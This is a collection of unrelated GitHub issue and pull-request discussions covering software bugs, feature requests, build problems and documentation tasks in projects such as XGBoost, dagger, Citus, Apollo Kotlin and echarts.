Thanks for the reviews! Moved the documentation, and addressed the text feedback.


Finish and Update API Documentation

Describe the issue
I know this is second on the roadmap but I figure having an actual issue might be helpful as a reminder to you to finish it up.

[ ] Homepage Recent Updates section
[ ] API Docs - Make sure information is correct and up-to-date with V2
[ ] Home Assistant Documentation - https://github.com/Pirate-Weather/pirate-weather-ha/issues/146 and https://github.com/Pirate-Weather/pirate-weather-ha/issues/211
[ ] Changelog - Make sure information is correct
[ ] Update changelog for V2.0.4
[ ] OpenAPI Specification - Last updated for V1.4
[ ] Roadmap - Make sure information is correct
[ ] Document which models are used where in the currently block

Documentation URL
https://pirateweather.net/en/latest/
Acknowledgements

[X] I have searched this repository to see if the issue has already been reported.
[X] I have written an informative title.

Working on this now (for real this time). Started a new branch to track progress and see if I've got my formatting correct

I almost pinged you about this issue but it looks like I won't need to. I've created a draft PR which I've linked up to various different issues with the documentation tag in this repo and the HA repo.

Nice! Also wanted to say thank you for the first stab at the V2.0 docs. You got just about everything, and made my edits way easier


Upgrade test testing

Don't merge, just adding some debug stuff to the tests to try figure out the issue.

Don't merge, just adding some debug stuff to the tests to try figure out the issue.

You can make the PR draft, it will be un-mergable.


iOS - Discussions - App crashes when user tap on any question from result of searching posts

Bug caused due to an inconsistent state between the array count and the tableView rows

@aleffert pl review

:+1:


validation set label

I already got pretrained AlexNet model, and want to reproduce results, but i couldn't get the label of validation set.

Hi @TangKun1234,
Please find the validation images here: wget http://data.lip6.fr/cadene/imagenet/val.tar.gz
I am working on a better solution.


Rabit C API pointed to by submodule in master and 0.71 missing recent fixes

I'm working on some new bindings to XGboost using the C API, and building them from a fresh checkout of XGBoost's master or 0.71 tag fails with:
xgboost/rabit/include/rabit/c_api.h:35:1: error: unknown type name 'RABIT_EXTERN_C'
xgboost/rabit/include/rabit/c_api.h:35:11: error: expected identifier or '('

On further investigation, this is because both master and the 0.71 tag contain rabit as a submodule pointing at https://github.com/dmlc/rabit/tree/a764d45cfb438cc9f15cf47ce586c02ff2c65d0f .
This is missing a lot of fixes that are in rabit/master, including this one (https://github.com/dmlc/rabit/commit/0b406754fa6c5d90e54d55f992045bde45f447ea#diff-d513b1282a73bf588d02ec8dd60216da), which fixes the build issue I'm having.
So I can fix the above by checking out XGboost, then doing a submodule update to pull the latest change from Rabit, then building, but it would be useful it builds worked from a fresh XGboost checkout (i.e. if the rabit submodule pointed to a more recent rabit branch/tag).

Would you be able to prepare a PR that update rabit?


Implement scale step string calculation

See https://en.xen.wiki/w/User:Frostburn/Step_Label_Spectrum for my reasoning.
ref #165

Ready for review now.

Updated based on discussion on Discord.

Merging as I see no immediate issues.


✨ Run from any directory

What are you trying to do?
I have a monorepo and I'd like to be able to run dagger do from any of the subprojects within the monorepo.
Much like git commit traces up the directory tree to find .git, I'd like dagger do to do the same for cue.mod.
Why is this important to you?
To save me having to run cd ../../../ && dagger do or dagger do -p ../../../
How are you currently working around this?
As above

Just want to say, I run into the same issue in the dagger repo itself (using dagger to develop dagger) and it's really annoying.

I’m currently exploring an alternative approach to, by having another CUE file in each “project” within the monorepo that defines its own #Plan and dependencies.
I think this might work well, but also will be a lot of repetition as my main CUE entry point at the top level will need the same details.
I don’t think I can reuse / merge the #Plans because CUE doesn’t really have a good way to work with associative lists. Unless you’ve got some ideas?

Here's one hack with a file called dagger.cue with your plan in it. You could also look for cue.mod.
~/dagger-find-up
#!/bin/bash

while [[ $PWD != / ]] ; do
    if [[ ! -e "dagger.cue" ]]
    then
      cd ..
    else
      echo "From dagger.cue in directory $PWD:"
      dagger "$@"
      kill -INT $$
    fi
done
kill -INT $$

alias dag='~/dagger-find-up'
dag do hello --log-format plain

@jpadams Thanks for sharing the hack, this is somewhat similar to an alternative I had tried. Unfortunately, it requires cue.mod to be in a parent directory—for my use case, I want to essentially share a Dagger plan across many projects. So the directory structure would be something like this:
~/.tooling/dagger/dagger.cue
~/.tooling/dagger/cue.mod
~/code/app1
~/code/app2

I'd like to be able to run the actions from the .tooling directory on app1 and app2, but haven't found a way to make that work.

Got this working with multiple plans
https://github.com/rawkode-academy/rawkode-academy/blob/main/build.cue

I'm closing this issue, we have an option -w to execute dagger from another directory now


ParameterNamePrefix Should be Retrievable from Configuration

Given that the library already has a PersistOptions, it would be more idiomatic to ASP.NET Core to allow that value of parameterNamePrefix to be retrieved from configuration, rather than passed into the PersistKeysToAWSSystemsManager extension method.
Additionally, this would allow the value to be set from a CloudFormation template by setting an environment variable. Or, really, set by any of the practically infinite ways to set a configuration value, rather than a literal string in executable code.
I have a PR for this ready to go, which I'll link after I create it.

Closing as we decided not to do this via the PR https://github.com/aws/aws-ssm-data-protection-provider-for-aspnet/pull/9


⚠ Bofrost.at has degraded performance

In b3e1b7a, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1077 ms

Resolved: Bofrost.at performance has improved in be06782 after 38 minutes.


Playback on input

Hi,
with activated "playback on input" option it plays immediatley each letter i entered. And after finishing the word with an additonal space it speaks the hole word.
I would prefer the behaviour of only speaking the hole word instead of each letter seperatley.
Best, Carl

Hi Carl,
Thank you for opening this issue.
You're right, it doesn't always make sense to read each new character while in playback-on-input mode.  I think there are times when this behaviour is useful, however.  I'll add an option in the next version for only reading new words in playback-on-input mode.
Best,
Dane Finlay
On Fri, 25 Nov 2022 03:38:05 -0800
carl-der-grosse @.***> wrote:

Hi,
with activated "playback on input" option it plays immediatley each letter i entered. And after finishing the word with an additonal space it speaks the hole word.
I would prefer the behaviour of only speaking the hole word instead of each letter seperatley.
Best, Carl
--
Reply to this email directly or view it on GitHub:
https://github.com/Danesprite/tts-util-app/issues/32
You are receiving this because you are subscribed to this thread.
Message ID: @.***>

Hi! Any progress on this feature? It would be super useful.
Any way I can help in implementing it? @drmfinlay maybe you can point me to the relevant area in the code?

Hello @nyancow,
No, I've not made much progress on TTS Util feature requests lately.
This feature is not difficult to add though.  If you would like to help implement it, I can tell you that most of the necessary changes will be to the InputTextReader.kt source file.  The abstract class in that file needs a mechanism to disable "rule one" in onTextChanged().

Thanks for the quick response @drmfinlay. The changes you mentioned are exactly what I needed, I am now using a patched version of the app that plays back only after a space is entered. Hopefully I will find the time soon to add an additional checkbox to the settings to toggle the option. I'll create a PR if and when I get to it.
Thank you for an awesome app.

Actually, my previous comment is only partially true @drmfinlay. It works as expected on Android 13, but for some reason on Android 12 I am still getting letter-by-letter speech before pressing space. Any idea what may be missing?


Feature/user favorites

Description
New FEATURE addition contributing to the "Add a "Saved Groomer" component (database)" trello card.

adds DB table/s for customer/groomer relations ( favorites )
incorporated SQL query model along with dynamic routing

Ready for review and frontend testing/evaluation
( removed accidental extra feature that was added to this branch )

 Add a "Saved Groomer" component (database)


Add missing header files in CMakeLists.txt

Hi,
just adding some header files that were missing from the call to add_library in CMakeLists.txt: it allows to have them displayed in the Solution Explorer of Visual Studio.
Btw, thanks for your work on this application and sampling library, it will help to build my next renderer :)
Cheers

Thanks for the fix. Glad its useful!


DSM 7.0 Preview Support

Hello,
I'm actually testing DSM 7.0 on my DS1817+ and i have some packages who don't work because privilege issues.
Synology give this link for dev: https://help.synology.com/developer-guide/privilege/preface.html
The list of package: git, python, python3, plexpy custom, sickbeard-custom, ffmpeg and Gateone.

Refer to #4170


SP800-90B_EntropyAssessment: init at 1.1.6

The SP800-90B_EntropyAssessment C++package implements the min-entropy assessment methods included in Special Publication 800-90B.
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[x] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

To compile on aarch64-linux we need this pull-request for libdivsufsort: https://github.com/NixOS/nixpkgs/pull/246588 upstream first.
Otherwise cross-compilation fails.

Now that the aforementioned pull-requests for libdivsufsort is upstream. The cross-compiling of the package on aarch64 should work out of the box now.


Fixed get_all_network_interfaces in receive_sqs_message.py

Lost the var_list.append() line when resolving conflicts of previous merge. Also create separate data for each i.get('PrivateIpAddresses') to ensure updating value instead of reference.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

LGTM


Publish last and refcount response observable

refactor(Http Proxy): Publish last and refcount response observable
Closes #33

Current coverage is 99.30% (diff: 100%)

Merging #34 into master will decrease coverage by <.01%

@@             master        #34   diff @@
==========================================
  Files             8          8
  Lines           144        143     -1
  Methods          36         35     -1
  Messages          0          0
  Branches         15         15
==========================================
- Hits            143        142     -1
  Misses            1          1
  Partials          0          0

Powered by Codecov. Last update 3f26b1e...f958e63


Master

Docs Build status updates of commit 53aaca5:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

DocsLegal/docfx.json
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Fix exp rename typo

You may disregard these recommendations if you used the Edit on GitHub button from dvc.org to improve a doc in place.

❗ Please read the guidelines in the Contributing to the Documentation list if you make any substantial changes to the documentation or JS engine.
🐛 Please make sure to mention Fix #issue (if applicable) in the description of the PR. This causes GitHub to close it automatically when the PR is merged.
Please choose to allow us to edit your branch when creating the PR.
Thank you for the contribution - we'll try to review it as soon as possible. 🙏

Noticed this whilst looking at https://github.com/iterative/vscode-dvc/pull/4616

@mattseddon We should also change the CLI help text, although it's not critical.

@mattseddon We should also change the CLI help text, although it's not critical.

I'll raise a PR


Update ujson to 3.1.4

The version of ujson currently used is ancient and creates conflicts when endpoints4s is used together with other libraries depending on newer upickle or geny.
Moreover ujson 3+ fixes a DOS vulnerability (more info here https://github.com/com-lihaoyi/upickle/pull/449)

Hey @lolgab, thank you for opening the PR. This is a breaking change because we bump the major version of upickle. As a consequence, we will have to bump the major version of all the interpreters that depend the openapi module (ie, the server interpreters pekko-http and http4s).
Before we go further, do you think the API of upickle is stable enough to do the change? I would prefer not doing it again in a few months.

I meant the API stability, which you answered perfectly! Would it be wiser to wait for upickle 4 to make the bump?

About the API I used, it seemed to me that the existing code was written in a lower-level way for performance reasons.
So I changed += key -> value into .put(key, value) which doesn't require the allocation of tuples.
Otherwise, the API is still available. If you prefer, I can revert to use +=.
About uPickle 4, consider that the blocking issue (https://github.com/com-lihaoyi/upickle/issues/528) has no PR yet and nobody is working on it. So it might take time.
It would be nice if endpoints4s would not depend on ujson on its core but this means redesigning the lib altogether.

It would be nice if endpoints4s didn't depend on ujson on its core but this means redesigning the lib altogether.

The core of endpoints4s does not depend on ujson, only the server interpreters that produce OpenAPI documentation.
If you say that uPickle 4 may take some time to land, then let’s move forward with your PR! Do you need any help to fix the tests?
Regarding the versionPolicyCheck failure, what you need to do is to relax the compatibility intention in the openapi module and all the modules that depend on it (off the top of my head: the Pekko HTTP server interpreter and the http4s server interpreter).

Thank you for updating the PR. Actually, I see that the Scala.js bump requires relaxing the default version policy to BinaryCompatible in addition to relaxing the version policy of the server interpreters to None.

Ok, CI is green now. Ready for a review round @julienrf

Thank you @lolgab for your help!
I see several people following the PR and reacting to it. I am wondering if the binary compatibility issue has been a real problem for you? Please feel free to comment on that! It is important that we know if there are any friction areas when you use endpoints4s.

Thank you for your feedback! If ujson was correctly handling numbers would you still maintain a fork? Should that issue be fixed? This is a known issue in ujson (see https://github.com/com-lihaoyi/upickle/issues/263) because it has been designed to support JavaScript numbers instead of JSON numbers, but there seems to be a workaround by supplying our own AST.

Thank you again @lolgab, I’ve just released version 1.12.0 of endpoints4s with your changes.


freeze atom's coordinate

Is there any method in pyscf to freeze certain atom's coordinates during optimization?

Yes, see https://pyscf.org/user/geomopt.html#constraints

Hi @satyabratamaiti , has this been answered?


Give option to push without first pulling the #current-cloud-backend as well as to disable overwriting changes in backend when push fails.

Is your feature request related to a problem? Please describe.
I am always frustrated to have my CloudFormation changes overwritten or reverted whenever a push fails.
Describe the solution you'd like
Please give the option to push without first pulling the #current-cloud-backend directory from S3 by passing a flag or parameter with the push command. Keep the current behavior as default, but give the option to change it.
Please also give the ability to disable overwriting local CloudFormation changes in backend directory whenever a push fails. This is relate to the above as the content of backend get synchronized with #current-cloud-backend.

Hi @iurquiza, can you elaborate on why you are looking for these changes and what your use case is?

Sure! Most of the time the CloudFormation template generated by the Amplify CLI is adequate to provision your resources as desired, but there are times when you want to customize the CloudFormation template itself and not just update the parameter. As you can imagine editing CloudFormation templates is not error proof, so when deploying your customized template there can be issues that cause the amplify push to fail which automatically triggers a pull from the cloud. I understand that making the default behavior restoring the template to the last successfully provisioned version is optimal, but having your custom changes overwritten every time an amplify push fails can be frustrating, especially when the changes made are significant. I understand there are ways to restore your changes and continue working/experimenting after a failed amplify push, but adding steps and time to a process that can already be time consuming gets frustrating after a while. Adding a flag or parameter to prevent the automatic pull would address this issue while allowing the default behavior to continue being the same; is should not break any backwards compatibility. Let me know if you would like further clarification or details. Thanks!

@iurquiza The pull command should only touch your #current-cloud-backend directory and the changes you make to your amplify/backend directory would remain intact. Are you modifying the  #current-cloud-backend directory or the amplify/backend directory?

@kaustavghosh06 Let me try to reproduce the issue and update the steps here. Thank you.

I am going to have to investigate this further, but there is definitely something strange going on.
Here are some of my observations:

The issue does not happen consistently.
When the issue does happen, the backed CloudFormation template's contents don't match what is in the repository's remote branch, so we can most likely dismiss a git pull, git checkout, or git reset being the culprit.
The file contents also do not match what I originally thought, the contents of #current-cloud-backend.
I've downloaded and extracted the #current-cloud-backend.zip from S3 and the backed CloudFormation template's contents do not match what is in there either.
The file contents actually match what is in the amplify-cfn-templates directory in the S3 bucket.
The parameters.json file associated with the CloudFormation template in question is also some times modified where properties that had previously been removed get reinstated. I have the GitLens extension installed in VS Code and can see that the files get modified around the amplify push fails.
The amplify/backend/awscloudformation/nested-cloudformation-stack.yml also contains the same attribute mentioned above, and the timestamp of the file also changes to around the time that the other file gets modified, but off by a couple of minutes.
I will post an update here if I can narrow down the cause.
Thanks!

any update about the feature ?

Closing in favor of overrides


Poe ninja categories

Would be nice to have some keybind that opens popup window similar to one you have now which will have poeninja categories(currency, fragmetns, beasts etc.), clicking one will redirect directly to that page.

How about after pressing alt+d and using alt+q to go to the official trade website, we also introduce a key bind like alt+w which then goes to the correct poe.ninja page with the filter filled out? Or is that not what you're looking for?


Minecraft connect string should obtain IP from API, not from docker API URL.

If using the unix:// API URL, then the connect string for minecraft reported in the "Current Containers" uses 'localhost'.  Instead, it should use the API to query the exposed IP of the container (IP of parent Docker host) and use this, or possibly allow this string to be globally configurable.
For compatibility with docker clusters, and in situations whereservice is proxied or port-forwarded, and this IP might be different for different containers, or even different from the host IP.

I'll investigate some more, but from initial glance at the code, I attempt to pull it from the reported port mapping from the docker ps equivalent call; however, if it's reported as <IP_ADDRESS> I'm currently falling back to the "address" derived from dockerHostUri...which is not very useful in unix:// mode.
At a minimum I'll improve the fallback logic to allow for an ultimate override to definitively declare the "connect using" address.


Improviments

Improviments
The tool is very good, it delivers what it promises. I have some suggestions for improvements.
Visual Aspects
I have a suggestion as to the visual aspect of the diagram:
-Allow the user to reposition the lines, which represent the relationships between Entities, arbitrarily without having to move the Element in the Diagram to do so.
   Do not change the arrangement of Elements in the Diagram when importing an Entity Class.
-When a Java Entity class already exists and was not generated by the tool, make sure that:
       -The original comments of the class are not removed or changed;
       -Existing annotations are correctly understood and viewed in the Class Properties editor in the Diagram Editor.
**Jeddict Versions **
Jeddict 5.3 bundled with Netbeans 11.1
Thanks and keep this good job!

Hi @miltonvincenttis,
Thanks for your feedback and suggestions :)

Allow the user to reposition the lines
Very good suggestion but somehow limited with underlying NetBeans Visual API, I will have look at this feature.

The original comments of the class are not removed or changed
Existing source code is parsed during code generation and existing comments and Non-JavaEE annotations are re-applied to new source code. If you have any issue please report it with source-code snippet.

Existing annotations are correctly understood and viewed in the Class Properties editor in the Diagram Editor.
I will have look at this feature.


SAM-2643 - Question pool numbering is wrong

The wonders of Tomahawk 1.2.... released 7 years ago ;)
LGTM


Periodic raw status of resources in manifest work

I am new to this project, but I am investigating integrating a controller into the hub to manage N-S gateways in the spoke clusters and configure DNS etc based on the LBs used by those gateways. So my controller pays particular attention to the status of the gateway resource.
I am able to sync a gateway via a manifestwork, but when looking at how to get the status back I cam across this enhancement https://github.com/open-cluster-management-io/enhancements/tree/8fa2df88e1a046ac3855f10d8b9703002853332d/enhancements/sig-architecture/29-manifestwork-status-feedback#return-raw-status-data-of-the-applied-resource
This works but is a little cumbersome. I noticed that returning the raw status was ruled out as it may result in too many updates to the hub? Would a more controlled periodic approach rather than on every update help solve this?

this has been implemented
/close


Issue with view that utilises "union all"

I'm having lots of trouble with views that utilise "union all". This is the view:
CREATE OR REPLACE VIEW rvpezocoav as
SELECT rtpezocoav.id,
    rtpezocoav.ad_id,
    rtpezocoav.pe_id,
    rtpezocoav.zo_id,
    rtpezocoav.co_id,
    rtpezocoav.value_num,
    rtpezocoav.value_text
   FROM rtpezocoav
     JOIN rmv_active_peco act ON act.co_id = rtpezocoav.co_id AND act.pe_id = rtpezocoav.pe_id
UNION ALL
 SELECT av.id,
    av.ad_id,
    rtpe.id AS pe_id,
    av.zo_id,
    av.co_id,
    av.value_num,
    av.value_text
   FROM rtpezocoav av
     JOIN rtpe ON av.pe_id = rtpe.baseline_id
     JOIN rmv_active_peco act ON act.co_id = av.co_id AND act.pe_id = rtpe.id
  WHERE NOT (EXISTS ( SELECT 1
           FROM rtpezocoav av_1
          WHERE av_1.pe_id = rtpe.id AND av_1.zo_id = av.zo_id AND av_1.co_id = av.co_id AND av_1.ad_id = av.ad_id))

rtpezocoav is a distributed table on zo_id
rmv_active_peco & rtpe are reference tables

The following query fails after a while with the 'intermediate result size exceeds citus.max_intermediate_result_size (currently 1048576 kB)':
select count(1) from rvpezocoav where pe_id = 391;

I have no idea why we would need to reshuffle data as it's a join between one distributed table and two reference tables.
What I tried and didn't work:

remove join with rmv_active_peco
remove where not (exists ...) clause

Only thing that works is changing the union ALL to just a union. No idea why that makes a difference...
But then I end up with the next problem:
select count(1)
	from rvpezocoav pezoco
	join rtco co on pezoco.co_id = co.lo_id
	where ad_id = 4
	        and pe_id = 391
	        and lo_id = 505

fails with ERROR: complex joins are only supported when all distributed tables are co-located and joined on their distribution columns.
rtco here is also a reference table.
What I tried according to suggestions on slack:
 CREATE OR REPLACE VIEW rvpezocoav as
				select * from
				(
				select * from
				(
				SELECT rtpezocoav.id,
				    rtpezocoav.ad_id,
				    rtpezocoav.pe_id,
				    rtpezocoav.zo_id,
				    rtpezocoav.co_id,
				    rtpezocoav.value_num,
				    rtpezocoav.value_text
				   FROM rtpezocoav
				     JOIN rmv_active_peco act ON act.co_id = rtpezocoav.co_id AND act.pe_id = rtpezocoav.pe_id
				     offset 0
				    ) as z1
				UNION --ALL  --!!!!!
				 select * from
				 (
					SELECT av.id,
				    av.ad_id,
				    rtpe.id AS pe_id,
				    av.zo_id,
				    av.co_id,
				    av.value_num,
				    av.value_text
				   FROM rtpezocoav av
				     JOIN rtpe ON av.pe_id = rtpe.baseline_id
				     JOIN rmv_active_peco act ON act.co_id = av.co_id AND act.pe_id = rtpe.id
				  WHERE NOT (EXISTS ( SELECT 1
				           FROM rtpezocoav av_1
				          WHERE av_1.pe_id = rtpe.id AND av_1.zo_id = av.zo_id AND av_1.co_id = av.co_id AND av_1.ad_id = av.ad_id))
				          offset 0
				      ) as z2
				  ) as z;

This brings me back to the original problem: ERROR: the intermediate result size exceeds citus.max_intermediate_result_size (currently 1048576 kB)
I've been going in circles trying to make this work for the last few days... This is a real showstopper for us unfortunately.

Thanks for reporting. Let's close this issue and continue the conversation in https://github.com/citusdata/citus/issues/4144


Game information in 'details' view starts too low down

In the screenshots in this repo the game portrait icon, name and details all start at the top of the details pane (after some small padding for aesthetic reasons, of course).
For me, they start a good few hundred pixels lower:

Is this intentional behaviour that hasn't been reflected in screenshots, a setting that is different to those on display in the screenshots (I would assume everything's default, though), or a bug?
If you're calculating anything based on monitor aspect ratio, my primary is an ultrawide - which has led to strange issues like this in the past.

The distance is controlled by this setting

Closing, let me know if you still have an issue.

Thanks for pointing that out; it's much nicer. Should the screenshots of the skin not match the default appearance?
I think it would be good if either the screenshots were updated to accurately represent the default look of the theme, or preferably the default value updated to match the screenshots.


API does not implement GET for schedules

I am automating Semaphore configuration via the API
I want to be able, to determine the schedules for a certain task.

Currently it is not possible to:

either list all the schedules (GET /projects/<id>/schedules returns HTTP 405)
or get the schedule id from the tasks (GET /projects/<id>/templates/<tid> does not return the schedule id.

Can you please confirm my analysis is correct, and there is no way to get the schedule Id of a task template via API?
If thats correct, could you consider adding this to the API?
TASK [Semaphore | Determine Schedules] *******************************************************************************************************************************************************
fatal: [docker]: FAILED! => changed=false
  connection: close
  content_length: '0'
  date: Tue, 13 Sep 2022 10:15:54 GMT
  elapsed: 0
  msg: 'Status code was 405 and not [200]: HTTP Error 405: Method Not Allowed'
  redirected: false
  status: 405
  url: http://<IP_ADDRESS>:3000/api/project/9/schedules

Yes, you are right. Yes, we will implement this.

works fine for me with v2.10.22 all schedule got listed with GET /projects/<id>/schedules (except one special case #2233)

I guess this can be closed then. Thank you for the info!


WASM (KMP) - Adding interceptor to authenticate for all request causing blocked by CORS

Version
4.0.0
Summary
This error only encountered on WASM but not in Android, iOS & Desktop. When I execute a query or mutation with Authorization header it gives OPTIONS request method that caused CORS blocked.

[ ] WASM
[X] Android (Working)
[X] iOS (Working)
[X] Desktop (Working)

Steps to reproduce the behavior
Setup ApolloClient with custom interceptor.
Given:

server: localhost:8080/graphql
client: localhost:8081

ApolloClient.Builder()
        .serverUrl(serverUrl = serverUrl)
        .addHttpInterceptor(authInterceptor)
        .httpHeaders(
            listOf(
                HttpHeader("Accept", "application/json"),
                HttpHeader("Content-Type", "application/json"),
            )
        )
        .build()

class AuthorizationInterceptor(
    private val keyValueStorage: KeyValueStorage
) : HttpInterceptor {
    private val mutex = Mutex()

    override suspend fun intercept(
        request: HttpRequest,
        chain: HttpInterceptorChain
    ): HttpResponse {
        var token = mutex.withLock {
            // get current token
            keyValueStorage.token
        }
        val response = chain.proceed(request)

        return if (response.statusCode == 401) {
            token = mutex.withLock {
                // get new token
                keyValueStorage.token
            }
            chain.proceed(request.newBuilder().addHeader("Authorization", "Bearer $token").build())
        } else {
            response
        }
    }
}

Logs
Access to fetch at 'http://localhost:8080/graphql' from origin 'http://localhost:8081' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

Server logs
When Authorization header is added, the requested method became OPTIONS instead of POST (WASM only)?
Status: 403 Forbidden, HTTP method: OPTIONS, Headers: Host: [localhost:8080], Connection: [keep-alive], Accept: [*/*], Access-Control-Request-Method: [POST], Access-Control-Request-Headers: [authorization,content-type], Origin: [http://localhost:8081], User-Agent: [Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Mobile Safari/537.36], Sec-Fetch-Mode: [cors], Sec-Fetch-Site: [same-site], Sec-Fetch-Dest: [empty], Referer: [http://localhost:8081/], Accept-Encoding: [gzip, deflate, br, zstd], Accept-Language: [en-US,en;q=0.9]

Hi!
This behavior is to be expected in the browser - your server needs to configure CORS and reply with the necessary Access-Control-Allow-* headers. The OPTIONS request you see is the preflight one.

Hi!
This behavior is to be expected in the browser - your server needs to configure CORS and reply with the necessary Access-Control-Allow-* headers. The OPTIONS request you see is the preflight one.

Hello, Access-Control-Allow is already configured on server side (ktor server) and its working properly using Android, iOS and Desktop. The only issue is when executed uaing WASM web

CORS is only browser mechanism so it is expected that it doesn't impact Android and other non-browser based clients. I am not familiar with how to implement CORS with Ktor but in your log above, it looks like the results to the OPTION preflight request is 403 - I think this indicates some misconfiguration, as it should probably reply with 200 to go on.

It's weird. WASMJS is working properly without Authorization

Great!
I'll close the issue for now but don't hesitate to re-open if you encounter any more problems.


add lost events channel

this PR adds support for handling lost events using a dedicated channel, similar to how regular events are handled.
a future PR can update the examples to utilize this feature. at the moment I just passed nil which does no change to existing functionality.

Hi there, any feedback on this PR?

kind reminder

Thanks! Could we can merge it?


Use StampedLock instead of ReentrantReadWriteLock in JobsLogs

Summary of the changes / Why this improves CrateDB
We don't need the reentrant characteristic, so we can go with a
StampedLock which is cheaper.
Checklist

[x] User relevant changes are recorded in CHANGES.txt
[x] Touched code is covered by tests
[x] Documentation has been updated if necessary
[x] CLA is signed
[x] This does not contain breaking changes, or if it does:

It is released within a major release
It is recorded in CHANGES.txt
It was marked as deprecated in an earlier release if possible
You've thought about the consequences and other components are adapted
(E.g. AdminUI)

retest this please
-Dtests.seed=E47FC198B863975C -Dtests.class=org.elasticsearch.cluster.coordination.CoordinatorTests -Dtests.method="testAckListenerReceivesNackFromFollower" -Dtests.locale=es-PR -Dtests.timezone=America/Nome

java.lang.AssertionError: node2 has applied its state

Expected: <197L>

     but: was <196L>

	at __randomizedtesting.SeedInfo.seed([E47FC198B863975C:6A36B1803CE77187]:0)

	at org.hamcrest.MatcherAssert.assertThat(MatcherAssert.java:18)

	at org.junit.Assert.assertThat(Assert.java:956)

	at org.elasticsearch.cluster.coordination.CoordinatorTests$Cluster.stabilise(CoordinatorTests.java:1525)

	at org.elasticsearch.cluster.coordination.CoordinatorTests$Cluster.stabilise(CoordinatorTests.java:1506)

	at org.elasticsearch.cluster.coordination.CoordinatorTests.testAckListenerReceivesNackFromFollower(CoordinatorTests.java:633)


Fixed the problem that the rich style does not take effect when tooltip is in renderMode=richText

Brief Information
This pull request is in the type of:

[x] bug fixing
[ ] new feature
[ ] others

What does this PR do?

Fixed the problem that the rich style does not take effect when tooltip is in renderMode=richText
Fixed issues

#19966
Details
Before: What was the problem?

In previous versions, rich style did not work when using tooltip attribute renderMode=richText
After: How does it behave after the fixing?

Now, when using the tooltip attribute renderMode=richText, the rich style will achieve the expected effect.
example:

result as shown below:

Document Info
One of the following should be checked.

[ ] This PR doesn't relate to document changes
[ ] The document should be updated later
[x] The document changes have been made in apache/echarts-doc#431

Misc
ZRender Changes

[ ] This PR depends on ZRender changes (ecomfe/zrender#xxx).

Related test cases or examples to use the new APIs
N.A.
Others
Merging options

[ ] Please squash the commits into a single one when merging.

Other information

Please don't commit the changes under dist.

I have modified

This is not the way to support rich text. Consider checking out how title.textStyle does. And there is no good reason here using ts-ignore to ignore the typing problems.
This should be a new feature instead of a bug fixing because there isn't doc for rich now and you need to check "The document should be updated later".
Also, you should include test cases as according to the wiki.

我需要重新提交一个feat吗。。


The decompiler configuration options are not working

Describe the bug
The decompiler configuration options are not working, at least some or all of VineFlower's. Change the decompiler configuration options and then observe the decompiled results. As shown in the screenshot, I turned on both options of Vineflower, but the decompiled results did not display the strings as ASCII and dump the line numbers as expected.
To Reproduce
Steps to reproduce the behavior:

Change the decompiler configuration options and observe the decompilation results.

Screenshots

https://github.com/Col-E/Recaf/assets/21371686/433b7792-4eb1-43a4-90a9-65e8a5eb7ff2

https://github.com/Col-E/Recaf/assets/21371686/4eadeb0b-8c64-4df6-8afa-f20168fed0d0

As per the issue that mentions this one, I suggest that the Dump Code Lines option is removed. I don't see much use in enabling it and will only confuse the vast majority of users.

@Col-E If you have time, can you investigate this issue again? I just tested it with the latest code (505af81), and Dump Code Lines still doesn't work for Vineflower. My ultimate goal is to see the original line numbers in the decompiled code, just like the behavior of the IDEA registry key decompiler.dump.original.lines.According to Geolykt's statement, maybe there should be an option DUMP_ORIGINAL_LINES

I swapped the key out for __dump_original_lines__ which should let you do what you want. Do note, you need to also enable the bytecode mapping setting.

@Col-E @Geolykt Thank you my friends, this will help me a lot in my work.I just tested it and it works fine!!


Add Propr

By submitting this pull request, I promise I have read the contribution guidelines twice and made sure my submission follows it.
⬆⬆⬆⬆⬆⬆⬆⬆⬆⬆

Generate GitHub PR descriptions from the command line with the help of AI. propr aims to populate a basic PR description right from your terminal so you can focus on more important things.

Fleshed out CLI version of https://propr.dev

If the submitted project is an open-source project on GitHub:
It should have at least 20 stars.


Source code request

Thanks for your nice work. Can you share your code to me?
<EMAIL_ADDRESS>

We are still doing final cleaning up, and the code will be made available soon.

Thanks for your kind reply.  I just want to test the performance of your model. If you release the source code, I think it will motivate me very much.

The inference code is now available at the demo.
https://huggingface.co/OpenShape/openshape-demo-support


PointNet2 classfication Failure Too Many Resources

❓ Questions & Help
Hi,
I implemented the program with reference to examples/pointnet2_classification.py and used Google Colablatory's GPU to learn the model.
I was able to save the model I had learned in Colab and call that model in Colab to make an inference.
However, when I save the model that I learned in Colab and try to call that model in Jetson Nano to make an inference, I get the following error.
What is the reason for this? Do you have any solutions?
Thank you very much.
Traceback (most recent call last):
  File "pointnet.py", line 274, in <module>
    test_acc = test(test_loader)
  File "pointnet.py", line 149, in test
    pred = model(data).max(1)[1]
  File "/home/jetson/.virtualenvs/py33d/lib/python3.6/site-packages/torch/nn/modules/module.py", line 532, in __call__
    result = self.forward(*input, **kwargs)
  File "pointnet.py", line 99, in forward
    sa1_out = self.sa1_module(*sa0_out)
